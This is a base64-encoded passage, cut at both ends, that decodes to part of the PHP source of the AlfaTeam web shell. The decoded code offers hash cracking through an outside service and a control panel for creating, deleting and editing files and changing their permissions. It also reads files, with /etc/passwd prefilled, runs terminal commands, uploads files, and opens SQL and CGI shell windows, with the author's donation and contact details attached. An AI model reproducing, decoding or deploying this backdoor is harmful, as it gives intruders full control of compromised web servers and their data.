uYW1lPSJtZDUiIHNpemU9IjYwIiBpZD0idGV4dCIgLz4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9ImdvIiAvPjwvZm9ybT48L2NlbnRlcj48YnI+JzsKaWYoJF9QT1NUWydhbGZhMyddID09ICc+PicpewokaGFzaCA9ICRfUE9TVFsnYWxmYTInXTsKaWYoIWVtcHR5KCRoYXNoKSl7CiRoYXNoX3R5cGUgPSAkX1BPU1RbJ2FsZmE0J107CiRlbWFpbCA9ICJzb2xldmlzaWJsZUBnbWFpbC5jb20iOwokY29kZSA9ICI3YjlmYTc5ZjkyYzNjZDk2IjsKJHRhcmdldCA9ICJodHRwczovL21kNWRlY3J5cHQubmV0L0FwaS9hcGkucGhwP2hhc2g9Ii4kaGFzaC4iJmhhc2hfdHlwZT0iLiRoYXNoX3R5cGUuIiZlbWFpbD0iLiRlbWFpbC4iJmNvZGU9Ii4kY29kZTsKJHJlc3AgPSBAZmlsZV9nZXRfY29udGVudHMoJHRhcmdldCk7CmlmKCRyZXNwPT0nJyl7CiRnZXQgPSBuZXcgQWxmYUNVUkwoKTsKJHJlc3AgPSAkZ2V0LT5TZW5kKCR0YXJnZXQpOwp9CmVjaG8gX19wcmUoKS4nPGNlbnRlcj4nOwpzd2l0Y2goJHJlc3ApewoJY2FzZSgnQ09ERSBFUlJFVVIgOiAwMDEnKTplY2hvICI8Yj48Zm9udCBjb2xvcj0ncmVkJz5Zb3UgZXhjZWVkZWQgdGhlIDQwMCBhbGxvd2VkIHJlcXVlc3QgcGVyIGRheTwvZm9udD48L2I+IjticmVhazsKCWNhc2UoJ0NPREUgRVJSRVVSIDogMDAzJyk6ZWNobyAiPGI+PGZvbnQgY29sb3I9J3JlZCc+WW91ciByZXF1ZXN0IGluY2x1ZGVzIG1vcmUgdGhhbiA0MDAgaGFzaGVzLjwvZm9udD48L2I+IjticmVhazsKCWNhc2UoJ0NPREUgRVJSRVVSIDogMDA0Jyk6ZWNobyAiPGI+PGZvbnQgY29sb3I9J3JlZCc+VGhlIHR5cGUgb2YgaGFzaCB5b3UgcHJvdmlkZSBpbiB0aGUgYXJndW1lbnQgaGFzaF90eXBlIGRvZXNuJ3Qgc2VlbSB0byBiZSB2YWxpZDwvZm9udD48L2I+IjticmVhazsKCWNhc2UoJ0NPREUgRVJSRVVSIDogMDA1Jyk6ZWNobyAiPGI+PGZvbnQgY29sb3I9J3JlZCc+VGhlIGhhc2ggeW91IHByb3ZpZGUgZG9lc24ndCBzZWVtIHRvIG1hdGNoIHdpdGggdGhlIHR5cGUgb2YgaGFzaCB5b3Ugc2V0LjwvZm9udD48L2I+IjticmVhazsKfQppZihzdWJzdHIoJHJlc3AsMCw0KSE9J0NPREUnJiYkcmVzcCE9JycpewplY2hvICI8Yj5SZXN1bHQ6IDxmb250IGNvbG9yPSdncmVlbic+Ii4kcmVzcC4iPC9mb250PjwvYj4iOwp9ZWxzZWlmKHN1YnN0cigkcmVzcCwwLDQpIT0nQ09ERScpewplY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5Ob1QgRm91bmQ8L2ZvbnQ+PGJyIC8+IjsKfQplY2hvKCc8L2NlbnRlcj4nKTsKfQp9Cn0KaWYoJF9QT1NUWydhbGZhMSddPT0nYW5hbHl6ZXInKXsKZWNobyAnPGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBIYXNoIEFuYWx5emVyIHw8L2Rpdj48L3A+Cjxmb3JtIG9uc3VibWl0PSJnKFwnY3BjcmFja1wnLG51bGwsXCdhbmFseXplclwnLHRoaXMuaGFzaC52YWx1ZSxcJz4+XCcpO3JldHVybiBmYWxzZTsiPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5IYXNoOiA8L2Rpdj4gPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJIYXNoIiBuYW1lPSJoYXNoIiBzaXplPSI2MCIgaWQ9InRleHQiIC8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiBuYW1lPSJnbyIgLz48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CmlmKCRfUE9TVFsnYWxmYTMnXSA9PSAnPj4nKXsKJGhhc2ggPSAkX1BPU1RbJ2FsZmEyJ107CmlmKCFlbXB0eSgkaGFzaCkpewokY3VybCA9IG5ldyBBbGZhQ1VSTCgpOwokcmVzcCA9ICRjdXJsLT5TZW5kKCJodHRwczovL21kNWRlY3J5cHQubmV0L2VuL0hhc2hGaW5kZXIvIiwicG9zdCIsImhhc2g9eyRoYXNofSZjcnlwdD1TZWFyY2giKTsKZWNobyhfX3ByZSgpLic8Y2VudGVyPicpOwppZihwcmVnX21hdGNoKCcjPGZpZWxkc2V0IGNsYXNzPSJ0cm91dmUiPiguKj8pPC9maWVsZHNldD4jJywkcmVzcCwkcykpewoJZWNobygnPGZvbnQgY29sb3I9ImdyZWVuIj4nLiRzWzFdLic8L2ZvbnQ+Jyk7Cn1lbHNlewoJZWNobygnPGZvbnQgY29sb3I9InJlZCI+Tm90IEZvdW5kLi4uITwvZm9udD4nKTsKfQplY2hvKCc8L2NlbnRlcj48YnI+Jyk7Cn0KfQp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhZm9vdGVyKCl7CmlmKCFpc3NldCgkX1BPU1RbJ2FqYXgnXSkpewplY2hvICI8dGFibGUgY2xhc3M9J2Zvb3QnIHdpZHRoPScxMDAlJyBib3JkZXI9JzAnIGNlbGxzcGFjaW5nPSczJyBjZWxscGFkZGluZz0nMCcgPgo8dHI+Cjx0ZCB3aWR0aD0nMTclJz48Zm9ybSBvbnN1Ym1pdD1cImlmKHRoaXMuZi52YWx1ZS50cmltKCkubGVuZ3RoPT0wKXJldHVybiBmYWxzZTtlZGl0b3IodGhpcy5mLnZhbHVlLCdta2ZpbGUnLCcnLCcnLCcnLCdmaWxlJyk7dGhpcy5mLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPk1ha2UgRmlsZSA6IDwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9J3RleHQnIG5hbWU9J2YnIHZhbHVlPScnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+Cjx0ZCB3aWR0aD0nMjElJz48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTt0aGlzLmQudmFsdWU9Jyc7cmV0dXJuIGZhbHNlO1wiPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+TWFrZSBEaXIgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPSd0ZXh0JyBuYW1lPSdkJyB2YWx1ZT0nICc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD4KPHRkIHdpZHRoPScyMiUnPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNNYW4nLG51bGwsJ2RlbGV0ZScsdGhpcy5kZWwudmFsdWUpO3RoaXMuZGVsLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPkRlbGV0ZSA6IDwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9J3RleHQnIG5hbWU9J2RlbCcgdmFsdWU9JyAnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+Cjx0ZCB3aWR0aD0nMTklJz48Zm9ybSBvbnN1Ym1pdD1cImlmKHRoaXMuZi52YWx1ZS50cmltKCkubGVuZ3RoPT0wKXJldHVybiBmYWxzZTtlZGl0b3IodGhpcy5mLnZhbHVlLCdjaG1vZCcsJycsJycsJycsJ25vbmUnKTt0aGlzLmYudmFsdWU9Jyc7cmV0dXJuIGZhbHNlO1wiPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+Q2htb2QgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPXRleHQgbmFtZT1mIHZhbHVlPScgJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPScyJz48Zm9ybSBvbnN1Ym1pdD0nZyhcIkZpbGVzTWFuXCIsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVybiBmYWxzZTsnPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+Q2hhbmdlIERpciA6IDwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdmb290dGFibGUnIGlkPSdmb290ZXJfY3dkJyB0eXBlPSd0ZXh0JyBuYW1lPSdjJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuIic+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD4KPHRkIGNvbHNwYW49JzInPjxmb3JtIG9uc3VibWl0PVwiZWRpdG9yKHRoaXMuZmlsZS52YWx1ZSwndmlldycsJycsJycsJycsJ2ZpbGUnKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5SZWFkIEZpbGUgOiA8L3NwYW4+PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2Zvb3R0YWJsZScgdHlwZT0ndGV4dCcgbmFtZT0nZmlsZScgdmFsdWU9Jy9ldGMvcGFzc3dkJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSc0Jz48Zm9ybSBzdHlsZT0nbWFyZ2luLXRvcDogMTBweDsnIG9uc3VibWl0PVwicmV0dXJuIGZhbHNlO1wiIGF1dG9jb21wbGV0ZT0nb2ZmJz48c3Bhbj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPkV4ZWN1dGUgOjwvc3Bhbj48YnI+PGJ1dHRvbiBvbkNsaWNrPSdhbGZhT3BlblBocFRlcm1pbmFsKCk7cmV0dXJuIGZhbHNlOycgY2xhc3M9J2Zvb3R0YWJsZSBhbGZhX2N1c3RvbV9jbWRfYnRuJz48aW1nIHN0eWxlPSd3aWR0aDoyOHB4O3ZlcnRpY2FsLWFsaWduOiBtaWRkbGU7JyBzcmM9J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS90ZXJtaW5hbC5zdmcnPiBUZXJtaW5hbDwvYnV0dG9uPjxicj48L2Zvcm0+PC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0nNCc+PGZvcm0gb25zdWJtaXQ9J3UodGhpcyk7cmV0dXJuIGZhbHNlOycgbmFtZT0nZm9vdGVyX2Zvcm0nIG1ldGhvZD0ncG9zdCcgRU5DVFlQRT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdGaWxlc01Bbic+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2MnIHZhbHVlPSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWpheCcgdmFsdWU9J3RydWUnPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhbGZhMScgdmFsdWU9J3VwbG9hZEZpbGUnPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdjaGFyc2V0JyB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+CjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+VXBsb2FkIGZpbGU6IDwvc3Bhbj48c3Bhbj48YnV0dG9uIGlkPSdhZGR1cCcgb25jbGljaz0nYWRkbmV3dXAoKTtyZXR1cm4gZmFsc2U7Jz48Yj4rPC9iPjwvYnV0dG9uPjwvc3Bhbj48cCBpZD0ncGZvb3RlcnVwJz48bGFiZWwgY2xhc3M9J2lucHV0ZmlsZScgZm9yPSdmb290ZXJ1cCc+PHNwYW4gaWQ9J19fZm5hbWV1cCc+PC9zcGFuPiA8c3Ryb25nPiZuYnNwOyZuYnNwO0Nob29zZSBhIGZpbGU8L3N0cm9uZz48L2xhYmVsPjxpbnB1dCBpZD0nZm9vdGVydXAnIGNsYXNzPSd0b29sc0lucCcgdHlwZT0nZmlsZScgbmFtZT0nZltdJyBvbkNoYW5nZT0naGFuZGxldXAodGhpcywwKTsnIG11bHRpcGxlPjwvcD48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PGRpdiBpZD0nYWxmYS1jb3B5cmlnaHQnPjxzcGFuIGNsYXNzPSdjb3B5cmlnaHQnPlsgLi9BbGZhVGVhbSAmY29weTsgMjAxMi0iLmRhdGUoJ1knKS4iIF08L3NwYW4+PGJyPjxzcGFuPjxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2FsZXJ0KFwiQlRDOiAxS0x0eThMVXFucXNYa00zUWt2eTJLcHY0Z0x0N1VnY3lvXCIpOycgc3R5bGU9J2NvbG9yOiAjRTkxRTYzO3RleHQtZGVjb3JhdGlvbjogbm9uZTsnPkRvbmF0ZSBVcyAhPC9hPjwvc3Bhbj4gPHNwYW4gc3R5bGU9J2xldHRlci1zcGFjaW5nOiAycHg7Y29sb3I6ICNkZmZmMDA7Jz5zb2xldmlzaWJsZVthdF1nbWFpbC5jb208L3NwYW4+IDxzcGFuPjxhIHN0eWxlPSdjb2xvcjogI2ZmNjA2MDt0ZXh0LWRlY29yYXRpb246IG5vbmU7JyB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cHM6Ly90ZWxlZ3JhbS5tZS9zb2xldmlzaWJsZSc+QHNvbGV2aXNpYmxlPC9hPjwvc3Bhbj48L2Rpdj48L3RkPgo8L3RyPgo8L3RhYmxlPgo8L2Rpdj4KCjxkaXYgaWQ9J29wdGlvbnNfd2luZG93JyBzdHlsZT0nYmFja2dyb3VuZDpyZ2JhKDAsIDAsIDAsIDAuNjkpOyc+PGRpdiBjbGFzcz0nZWRpdG9yLXdyYXBwZXInPjxkaXYgY2xhc3M9J2VkaXRvci1oZWFkZXInPjxkaXYgY2xhc3M9J29wdC10aXRsZSc+PC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWNvbnRyb2xsZXInPjxkaXYgY2xhc3M9J2VkaXRvci1taW5pbWl6ZScgb25DbGljaz0nZWRpdG9yTWluaW1pemUoXCJvcHRpb25zX3dpbmRvd1wiKTsnPjwvZGl2PjxkaXYgb25DbGljaz0nZWRpdG9yQ2xvc2UoXCJvcHRpb25zX3dpbmRvd1wiKTsnIGNsYXNzPSdjbG9zZS1idXR0b24nPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9J2hlaWdodDoxMDAlOycgY2xhc3M9J2NvbnRlbnRfb3B0aW9uc19ob2xkZXInPjxkaXYgY2xhc3M9J29wdGlvbnNfdGFiJz48L2Rpdj48ZGl2IGNsYXNzPSdvcHRpb25zX2NvbnRlbnQnIHN0eWxlPSdtYXJnaW4tbGVmdDoxNHB4O21hcmdpbi1yaWdodDozMHB4O2JhY2tncm91bmQ6IzAwMDtvdmVyZmxvdzphdXRvOyc+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+Cgo8ZGl2IGlkPSdkYXRhYmFzZV93aW5kb3cnIHN0eWxlPSdiYWNrZ3JvdW5kOnJnYmEoMCwgMCwgMCwgMC42OSk7Jz48ZGl2IGNsYXNzPSdlZGl0b3Itd3JhcHBlcic+PGRpdiBjbGFzcz0nZWRpdG9yLWhlYWRlcic+PGRpdiBjbGFzcz0nb3B0LXRpdGxlJz5TcWwgTWFuYWdlcjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1jb250cm9sbGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItbWluaW1pemUnIG9uQ2xpY2s9J2VkaXRvck1pbmltaXplKFwiZGF0YWJhc2Vfd2luZG93XCIpOyc+PC9kaXY+PGRpdiBvbkNsaWNrPSdlZGl0b3JDbG9zZShcImRhdGFiYXNlX3dpbmRvd1wiKTsnIGNsYXNzPSdjbG9zZS1idXR0b24nPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2NvbnRlbnRfb3B0aW9uc19ob2xkZXInIHN0eWxlPSdtYXJnaW4tbGVmdDoxNHB4O21hcmdpbi1yaWdodDozMHB4O2JhY2tncm91bmQ6IzAwMDttYXgtaGVpZ2h0OjkwJTsnPjxkaXYgY2xhc3M9J3NxbC10YWJzJz48L2Rpdj48ZGl2IGNsYXNzPSdzcWwtY29udGVudHMnIHN0eWxlPSdtYXgtaGVpZ2h0OiA4NXZoOyc+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+Cgo8ZGl2IGlkPSdjZ2lsb2FkZXInPjxkaXYgY2xhc3M9J2VkaXRvci13cmFwcGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItaGVhZGVyJz48ZGl2IGNsYXNzPSdvcHQtdGl0bGUnPjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1jb250cm9sbGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItbWluaW1pemUnIG9uQ2xpY2s9J2VkaXRvck1pbmltaXplKFwiY2dpbG9hZGVyXCIpOyc+PC9kaXY+PGRpdiBvbkNsaWNrPSdlZGl0b3JDbG9zZShcImNnaWxvYWRlclwiKTsnIGNsYXNzPSdjbG9zZS1idXR0b24nPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgaWQ9J2NnaWZyYW1lJyBzdHlsZT0ncG9zaXRpb246cmVsYXRpdmU7bWFyZ2luLWxlZnQ6MTRweDttYXJnaW4tcmlnaHQ6MzBweDsnPjxkaXYgY2xhc3M9J3Rlcm1pbmFsLXRhYnMnPjwvZGl2PjxkaXYgc3R5bGU9J2hlaWdodDo5MCU7JyBjbGFzcz0ndGVybWluYWwtY29udGVudHMnPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2Pgo8ZGl2IGlkPSdlZGl0b3InIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz48ZGl2IGNsYXNzPSdlZGl0b3Itd3JhcHBlcic+PGRpdiBjbGFzcz0nZWRpdG9yLWhlYWRlcic+PGRpdiBjbGFzcz0nZWRpdG9yLXBhdGgnPjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1jb250cm9sbGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItbWluaW1pemUnIG9uQ2xpY2s9J2VkaXRvck1pbmltaXplKFwiZWRpdG9yXCIpOyc+PC9kaXY+PGRpdiBvbkNsaWNrPSdlZGl0b3JDbG9zZShcImVkaXRvclwiKTsnIGNsYXNzPSdjbG9zZS1idXR0b24nPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgb25jbGljaz0naGlzdG9yeVBhbmVsQ29udHJvbGxlcih0aGlzKTsnIG1vZGU9J3Zpc2libGUnIGNsYXNzPSdoaXN0b3J5LXBhbmVsLWNvbnRyb2xsZXInPjw8PC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWV4cGxvcmVyJz48ZGl2IGNsYXNzPSdoaGVhZGVyJz48ZGl2IGNsYXNzPSdoaXN0b3J5LWNsZWFyJyBvbmNsaWNrPSdjbGVhckVkaXRvckhpc3RvcnkoKTsnPkNsZWFyIGFsbDwvZGl2PjxkaXYgY2xhc3M9J2hoZWFkZXItdGV4dCc+SGlzdG9yeTwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1zZWFyY2gnPjxpbnB1dCB0eXBlPSd0ZXh0JyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBpZD0nc2VhcmNoLWlucHV0JyBwbGFjZWhvbGRlcj0nc2VhcmNoJz48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdoaXN0b3J5LWxpc3QnPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1tb2RhbCc+PGRpdiBjbGFzcz0nZWRpdG9yLWJvZHknPjxkaXYgY2xhc3M9J2VkaXRvci1jb250ZW50Jz48ZGl2IGNsYXNzPSdlZGl0b3ItdGFicyc+PC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWNvbnRlbnQtaG9sZGVyJz48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4KPGRpdiBpZD0ndXBkYXRlLWNvbnRlbnQnPjwvZGl2Pgo8ZGl2IGlkPSdkYXRhYmFzZV93aW5kb3ctbWluaW1pemVkJyBvbmNsaWNrPSdzaG93RWRpdG9yKFwiZGF0YWJhc2Vfd2luZG93XCIpOyc+PGRpdiBjbGFzcz0nbWluaW1pemVkLXdyYXBwZXInPjxzcGFuIGNsYXNzPSdvcHRpb25zX21pbl9iYWRnZSc+MDwvc3Bhbj48ZGl2IGNsYXNzPSdtaW5pbWl6ZWQtdGV4dCcgc3R5bGU9J3RvcDogMTVweDsnPkRhdGFiYXNlPC9kaXY+PC9kaXY+PC9kaXY+CjxkaXYgaWQ9J29wdGlvbnNfd2luZG93LW1pbmltaXplZCcgb25jbGljaz0nc2hvd0VkaXRvcihcIm9wdGlvbnNfd2luZG93XCIpOyc+PGRpdiBjbGFzcz0nbWluaW1pemVkLXdyYXBwZXInPjxzcGFuIGNsYXNzPSdvcHRpb25zX21pbl9iYWRnZSc+MDwvc3Bhbj48ZGl2IHN0eWxlPSd0b3A6IDRweDsnIGNsYXNzPSdtaW5pbWl6ZWQtdGV4dCc+T3B0aW9uczwvZGl2PjwvZGl2PjwvZGl2Pgo8ZGl2IGlkPSdlZGl0b3ItbWluaW1pemVkJyBvbmNsaWNrPSdzaG93RWRpdG9yKFwiZWRpdG9yXCIpOyc+PGRpdiBjbGFzcz0nbWluaW1pemVkLXdyYXBwZXInPjxzcGFuIGNsYXNzPSdvcHRpb25zX21pbl9iYWRnZSc+MDwvc3Bhbj48ZGl2IHN0eWxlPSd0b3A6IDJweDsnIGNsYXNzPSdtaW5pbWl6ZWQtdGV4dCc+RWRpdG9yPC9kaXY+PC9kaXY+PC9kaXY+CjxkaXYgaWQ9J2NnaWxvYWRlci1taW5pbWl6ZWQnIG9uY2xpY2s9J3Nob3dFZGl0b3IoXCJjZ2lsb2FkZXJcIik7Jz48ZGl2IGNsYXNzPSdtaW5pbWl6ZWQtd3JhcHBlcic+PHNwYW4gY2xhc3M9J29wdGlvbnNfbWluX2JhZGdlJz4wPC9zcGFuPjxkaXYgc3R5bGU9J3RvcDogMTJweDsnIGNsYXNzPSdtaW5pbWl6ZWQtdGV4dCc+Q2dpIFNoZWxsPC9kaXY+PC9kaXY+PC9kaXY+CjxkaXYgaWQ9J3JpZ2h0Y2xpY2tfbWVudSc+CiAgPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9JycgbmFtZT0nbmV3dGFiJz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9uZXd0YWIuc3ZnXCI+IE9wZW4gaW4gbmV3IHRhYjwvYT4KICA8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nJyBuYW1lPSdsaW5rJz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9saW5rLnN2Z1wiPiBPcGVuIGZpbGUgZGlyZWN0bHk8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgbmFtZT0nZG93bmxvYWQnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2Rvd25sb2FkMi5zdmdcIj4gRG93bmxvYWQ8L2E+CiAgPGEgaHJlZj0nJyBuYW1lPSd2aWV3Jz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS92aWV3LnN2Z1wiPiBWaWV3PC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2FsZmFTeW5jTWVudVRvT3B0KHRoaXMpOycgcGF0aD0nJyBmbmFtZT0nJyBuYW1lPSd2aWV3X2FyY2hpdmUnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L3ZpZXcuc3ZnXCI+IFZpZXcgQXJjaGl2ZTwvYT4KICA8YSBocmVmPScnIG5hbWU9J2VkaXQnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2VkaXQuc3ZnXCI+IEVkaXQ8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxmYVBvcHVwQWN0aW9uKHRoaXMsIFwibW92ZVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgaHJlZj0nJyBocmVmPScnIG5hbWU9J21vdmUnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L21vdmUuc3ZnXCI+IE1vdmU8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxmYVBvcHVwQWN0aW9uKHRoaXMsIFwiY29weVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgaHJlZj0nJyBuYW1lPSdjb3B5Jz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9jb3B5LnN2Z1wiPiBDb3B5PC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2FsZmFQb3B1cEFjdGlvbih0aGlzLCBcInJlbmFtZVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgbmFtZT0ncmVuYW1lJz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9yZW5hbWUuc3ZnXCI+ICBSZW5hbWU8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxmYVBvcHVwQWN0aW9uKHRoaXMsIFwibW9kaWZ5XCIpOycgZnR5cGU9JycgcGF0aD0nJyBmbmFtZT0nJyBuYW1lPSdtb2RpZnknPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L3RpbWUuc3ZnXCI+ICBNb2RpZnk8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxmYVBvcHVwQWN0aW9uKHRoaXMsIFwicGVybWlzc2lvblwiKTsnIG5hbWU9J3Blcm1pc3Npb24nPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2tleS5zdmdcIj4gQ2hhbmdlIFBlcm1pc3Npb25zPC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2FsZmFTeW5jTWVudVRvT3B0KHRoaXMpOycgcGF0aD0nJyBmbmFtZT0nJyBuYW1lPSdjb21wcmVzcyc+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvcmVzaXplLnN2Z1wiPiBDb21wcmVzczwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdhbGZhU3luY01lbnVUb09wdCh0aGlzKTsnIHBhdGg9JycgZm5hbWU9JycgbmFtZT0nZXh0cmFjdCc+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvaW5jcmVhc2Uuc3ZnXCI+IEV4dHJhY3Q8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgbmFtZT0nZGVsZXRlJz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9kZWxldGUuc3ZnXCI+IERlbGV0ZTwvYT4KPC9kaXY+CjxkaXYgaWQ9XCJmaWxlc21hbi10YWItZnVsbC1wYXRoXCI+PC9kaXY+CjxkaXYgaWQ9J2FsZXJ0LWFyZWEnIGNsYXNzPSdhbGVydC1hcmVhJz48L2Rpdj4KPGRpdiBjbGFzcz0nY2wtcG9wdXAtZml4ZWQnIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KCTxkaXYgaWQ9J3Nob3J0Y3V0TWVudS1ob2xkZXInPgoJCTxkaXYgY2xhc3M9J3BvcHVwLWhlYWQnPjwvZGl2PgoJCQk8Zm9ybSBhdXRvY29tcGxldGU9J29mZicgb25TdWJtaXQ9J3JldHVybiBmYWxzZTsnPgoJCQkJPGxhYmVsIGNsYXNzPSdvbGQtcGF0aC1sYmwnPjwvbGFiZWw+CgkJCQk8ZGl2IHN0eWxlPSdvdmVyZmxvdzogaGlkZGVuO3doaXRlLXNwYWNlOiBub3dyYXA7d